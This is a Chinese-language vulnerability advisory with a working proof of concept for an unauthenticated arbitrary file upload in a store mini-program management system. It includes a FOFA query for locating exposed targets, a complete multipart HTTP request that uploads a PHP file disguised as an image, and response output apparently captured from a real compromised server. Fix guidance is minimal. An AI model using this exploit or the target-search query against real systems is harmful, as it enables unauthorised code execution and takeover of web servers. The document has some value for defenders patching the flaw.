

万能门店小程序管理系统 onepic_uploade 任意文件上传漏洞

漏洞描述

万能门店小程序管理系统 onepic_uploade 存在任意文件上传漏洞，未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。

影响版本

万能门店小程序管理系统

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: body="/comhome/cases/index.html"

POC/EXP:

POST /comadmin/Remote/onepic_uploade?file=file HTTP/1.1

Host: 127.0.0.1

Connection: keep-alive

sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"

sec-ch-ua-mobile: ?0

sec-ch-ua-platform: "Windows"

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBiKyL9D0p5OtH5zz

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

-----WebKitFormBoundaryBiKyL9D0p5OtH5zz
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg

-----WebKitFormBoundaryBiKyL9D0p5OtH5zz--

发送请求 强制 HTTPS 历史

Request

```
1 POST /comadmin/Remote/onepic_upload?file=file HTTP/1.1
2 Host: 
3 Connection: keep-alive
4 sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A_Brand";v="24"
5 sec-ch-ua-mobile: ?0
6 sec-ch-ua-platform: "Windows"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
9 Content-Type: multipart/form-data; boundary=-----WebKitFormBoundaryBiKyL9D0p5OtH5zz
10 Accept-Encoding: gzip, deflate
11 Accept-Language: zh-CN,zh;q=0.9
12 Connection: close
13 
14 -----WebKitFormBoundaryBiKyL9D0p5OtH5zz
15 Content-Disposition: form-data; name="file"; filename="1.php"
16 Content-Type: image/jpeg
17 
18 <?php:phpinfo();unlink(__FILE__);?>
19 -----WebKitFormBoundaryBiKyL9D0p5OtH5zz--
20 
```

Responses

https 78bytes / 172ms 美化 渲染

```
1 HTTP/1.1 200 OK
2 Server: nginx
3 Date: Fri, 29 Nov 2024 07:37:13 GMT
4 Content-Type: text/html; charset=utf-8
5 Connection: close
6 Vary: Accept-Encoding
7 Strict-Transport-Security: max-age=31536000
8 Content-Length: 78
9 
10 https://.../upimages/20241129/daf13c65cc742cb603c67bdbb6c14553613.php
```

← → ↺

.../upimages/20241129/daf13c65cc742cb603c67bdbb6c14553613.php

☆

PHP Version 7.2.33	
System	Linux VM-4-11-centos 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Build Date	Jul 23 2024 10:24:34
Configure Command	'./configure' '--prefix=/www/server/php/72' '--with-config-file-path=/www/server/php/72/etc' '--enable-fpm' '--with-fpm-user=www' '--with-fpm-group=www' '--enable-mysqlnd' '--with-mysqli=mysqlnd' '--with-pdo-mysql=mysqlnd' '--with-iconv-dir' '--with-freetype-dir=/usr/local/freetype' '--with-jpeg-dir' '--with-png-dir' '--with-zlib' '--with-libxml-dir=/usr' '--enable-xml' '--disable-rpath' '--enable-bcmath' '--enable-shmop' '--enable-sysvsem' '--enable-inline-optimization' '--with-curl=/usr/local/curl' '--enable-mbregex' '--enable-mbstring' '--enable-intl' '--enable-ftp' '--with-gd' '--enable-gd-native-ttf' '--with-openssl=/usr/local/openssl' '--with-mhash' '--enable-pcntl' '--enable-sockets' '--with-xmlrpc' '--enable-zip' '--enable-soap' '--with-gettext' '--disable-fileinfo' '--enable-opcache' '--with-webp-dir=/usr' '--with-mcrypt'
Server API	FPM/FastCGI
Virtual Directory Support	disabled
Configuration File (php.ini) Path	/www/server/php/72/etc
Loaded Configuration File	/www/server/php/72/etc/php.ini
Scan this dir for additional .ini files	(none)
Additional .ini files parsed	(none)
PHP API	20170718
PHP Extension	20170718
Zend Extension	320170718
Zend Extension Build	API320170718,NTS
PHP Extension Build	API20170718,NTS
Debug Build	no

漏洞修复

关闭互联网暴露面或接口设置访问权限
升级至安全版本